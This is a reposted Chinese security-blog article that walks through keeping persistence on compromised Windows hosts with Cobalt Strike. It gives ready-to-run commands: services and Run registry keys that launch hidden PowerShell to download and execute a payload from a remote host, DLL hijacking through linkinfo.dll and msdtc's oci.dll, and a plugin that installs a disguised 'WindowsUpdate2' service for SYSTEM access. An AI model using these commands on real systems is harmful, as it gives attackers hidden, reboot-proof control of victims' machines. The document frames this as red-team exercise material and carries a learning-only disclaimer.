CS权限维持
2023-4-8 09:57:9 Author: 黑白之道(查看原文) 阅读量:27 收藏

在攻防演练中,无论是在同内网其他出网机器还是在当前被控机,都建议拿到主机权限后优先考虑建立一个持久化的据点,方便后续渗透。正常情况下,当目标机器重启之后,驻留在 cmd.exe、powershell.exe 等进程中的 Beacon payload 就会掉,导致我们的 Beacon Shell 掉线。在Windows上我们可以通过 IFEO、启动项、服务等方式进行权限维持,这样机器重启之后 Beacon Shell 还会在。因为这里是cobalt strike wiki,所以主要说一下在CS上的操作,其他一些常见操作就不再详述了,网上资料挺多的。。。

简介

权限维持以启动CS会话为例,不涉及账号隐藏等等, 常见的可以用于启动会话的权限维持方式。1、注册表 2、启动项 3、计时任务 4、服务 5、shift或者放大镜 6、各种劫持 7、利用其他安装的软件

Cobalt strike 注入进程

在目标会话上点击右键

Explore-Process List

然后选择一个进程,点击下面菜单栏里的Inject即可完成注入

无文件后门

从Cobalt Strike菜单栏

Attacks--Web Drive-by--Scaripted Web Delivery

生成powershell后门

点击Launch后,返回powershell远程下载执行命令。然后执行以下命令

shell sc create "Name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.1:8080/a'))\""
shell sc description  Name "Just For Test"   //设置服务的描述字符串
shell sc config Name start= auto             //设置这个服务为自动启动 
shell net start Name                         //启动服务

此时重启服务器后,即可成功返回一个shell

注册表自启动

在windows启动项注册表里面添加一个木马程序路径,如:以system权限打开beacon后,输入

shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.1:8080/a'))\"" /f

此时账号注销后重新登录,界面上会出现powershell快速闪过消失,成功返回shell 另外以下键值也可设为自启动

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

加载dll文件

explorer.exe

explorer这个进程每隔一段时间就会自动加载,所以可以用它目录下的配置文件进行权限维持。我们可以使用Cobaltstrike生成对应系统位数的DLL文件放置目标系统C:\Windows\目录下,要注意重命名为linkinfo.dll

建议使用administer权限执行此操作,如果系统用户不是Administrator用户需要bypassuac,注意用户一旦注销beacon就会掉

劫持msdtc

msdtc程序每次启动时都会加载三个dll,oci.dll默认是不存在的,可以通过劫持这个 dll以达到权限维持目的,位于注册表:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI

首先把生成的恶意dll文件传到c:\windows\system32\目录下,然后kill掉msdtc进程

shell taskkill /f /im msdtc.exe

等待一段时间,mstdc.exe重新启动后即可成功加载oci.dll上线cs,不过是普通用户身份。。。还得需要自己进行权限提升

Erebus CobaltStrike后渗透测试插件

项目地址

https://github.com/DeEpinGh0st/Erebus

下载后导入CS即可,不过使用时注意会话必须是system权限

使用方式

1、首先加载 cna 脚本

Cobalt Strike → Script Manager → Load → Erebus 中的 Main.cna

2、生成 Payload 可执行文件

Attacks → Packages → Windows Executable(S)

3、上传 payload 可执行文件至目标主机并通过插件添加服务

然后就通过 SC 命令把此 3.exe 添加进了开机启动项,从而初始了一个权限为 SYSTEM 的 Beacon 其效果等同于在beacon控制台中输入

shell sc create "WindowsUpdate2" binpath= "cmd /c start "C:\bea\3.exe""&&sc config "WindowsUpdate2" start= auto&&net start  WindowsUpdate2

此时重启机器后同样会获得上线会话

文章来源:TIDE安全团队

黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!

如侵权请私聊我们删文

END

多一个点在看多一条小鱼干


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650567486&idx=4&sn=8965ff58ca73429758ce66b509bf8090&chksm=83bd16dab4ca9fcc2c1c4d613197d566a638553897033e1c5eb3623e9a4285c581ab8c386174#rd
如有侵权请联系:admin#unsafe.sh